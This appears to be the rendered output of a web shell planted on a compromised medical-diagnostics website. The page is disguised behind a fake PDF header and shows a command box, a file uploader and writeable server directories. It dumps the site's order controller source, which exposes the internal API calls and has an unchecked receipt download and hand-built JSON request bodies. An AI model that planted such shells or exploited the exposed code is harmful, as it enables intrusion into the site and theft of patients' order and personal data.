%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/controllers/Order.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Order extends MY_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->library('session');
		if(empty($_SESSION['logged_user']['id'])) {
			redirect(LANG_URL . '/home');
		}
	}
	
	/*
	* function: index
	* display by default active order tab 
	*/
    public function index()
    {
		$data = array();
		$head = array();
        $arrSeo = $this->Public_model->getSeo('order');
        $head['title'] = @$arrSeo['title'];
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$data['user_details'] = $_SESSION['logged_user'];
		$user_id = $_SESSION['logged_user']['id'];
		
		// Get All Members Details
		$data['family_members'] = $this->Public_model->getAllFamilyMembers($user_id);
		
		$data['address'] = $this->Public_model->getPublicDetails('user_address_master','user_id',$user_id,'array');
		
		// Get All Cart Items of user id
		$order_id = $this->uri->segment(2);
		$data['oderArray'] = $oderArray = $this->Public_model->getCurrentOrderDetails($order_id);
		//print_r($oderArray); die;
		if(empty($oderArray['his_encounter_id'])) {
			//print_r($oderArray); die;
			$apiResponse = $this->createHisOrder($oderArray);
			//print_r($apiResponse); die;
			$updateArray = array();
			// Update Invoice Id & Invocieno.
			if(!empty($apiResponse)) {
				$updateArray = array('his_encounter_id'=>$apiResponse['EncounterId'],
				'his_invoice_id'=>$apiResponse['InvoiceId'],
				'his_trns_number'=>$apiResponse['Status'] .'-Status',
				'his_invoice_no'=>$apiResponse['InvoiceNo']);
				//print_r($updateArray); die;
				$this->Public_model->updateCommonRecords($tbl_name="orders", $updateArray, $fieldName = "order_id", $fieldValue=$oderArray['order_id']);
			}
		}
		// Get Order Status
		
		$invoice_id = $oderArray['his_invoice_id'];
		$current_order_status =  $this->GetLabOrderStatus($invoice_id);
		//print_r($current_order_status); die;
		$statusArray = array();
		$order_status = unserialize(ORDER_STATUS);
		$order_status = array_flip($order_status);
		$statusArray = array('order_status'=>$order_status[$current_order_status['LabOrderStatusList'][0]['Status']], 'lab_number'=>$current_order_status['LabOrderStatusList'][0]['LabNo']);
		//echo $oderArray['order_id']; die;
		$this->Public_model->updateCommonRecords($tbl_name="orders", $statusArray, $fieldName = "order_id", $fieldValue=$oderArray['order_id']);
		//$this->GeneratePdf($oderArray['order_id']);
		$this->render('order_details',$head ,$data);
	}
	/*
	* Function : GetLabOrderStatus
	*
	*/
	public function GetLabOrderStatus($invoice_id)
	{
		$dataParams = [
				"InvoiceId"=>$invoice_id
			];
		$response = phpcurlpostdataapi('GetLabOrderStatus',json_encode($dataParams));
		return $response;
	}
	/*
	* Function : createHisOrder
	*
	*/
	public function createHisOrder($orderparams)
	{
		//print_r($orderparams); die;
		$appointmentRefNo = $orderparams['order_id'];
		$his_registation_no = $_SESSION['logged_user']['his_registation_no'];
		$orderDetails = unserialize($orderparams['products']);
		$total_price = '';
		$testName = array();
		$orderService = array();
		foreach($orderDetails[$orderparams['user_id']] as $cikey=>$cival) {
			$serviceId = $cival['product_test_code'];
			$serviceAmount = $cival['price'];
			$orderService = [
				"ServiceId"=>$serviceId,
				"ServiceType"=>"I",
				"ServiceAmount"=>"$serviceAmount"
			];
			$testName[] = $cival['title'];
			$total_price = $total_price+$cival['price'];
		}
		
		$testsName = implode(',', $testName);
		$mode_date = date('Y-m-d',strtotime($orderparams['order_date']));
		
		$paymentDetails = array();
		$paymentDetails = array("Amount"=>"$total_price",
		"ModeId"=>"1",
		"ModeNo"=>"1",
		"ModeDate"=>$mode_date,
		"Description"=>"$testsName"
		);
		$dataParams = '{"FacilityCode": '.FACILITY_ID.',
		"RegistrationNo": '.$his_registation_no.',
		"DoctorId": 0,
		"AppointmentId": 0,
		"AppointmentRefNo": "'.$appointmentRefNo.'",
		"xmlOrderServices": [
		'.json_encode($orderService).'
		],
		"xmlPaymentDetail": [
		'.json_encode($paymentDetails).'
		]}';
  
		//print_r($dataParams); die;
		$response = phpcurlpostdataapi('CreateInvoice',$dataParams);
		return $response;
			
	}
	
	/*
	* Function : downloadreceipt
	*
	*/
	
	function downloadreceipt($orderId)
    {
		$data = array();
		$data['orderArray'] = $orderArray = $this->Public_model->getCurrentOrderDetails($orderId);
		$data['publicArray'] =  $publicArray = $this->Public_model->getSingleCommonRecords('users_public', array('id'=>$orderArray['user_id']));
		$this->load->library('Pdf');
		$html = $this->load->view('templates/redlabel/email_templates/order_bill', $data, true);
		$fileName = str_replace(' ','-',strtolower($publicArray['name']))."_".$orderId.'_'.$orderArray['lab_number'].".pdf";
		$this->pdf->createPDF($html, $fileName, false); 
		die;
    }
}

Kontol Shell Bypass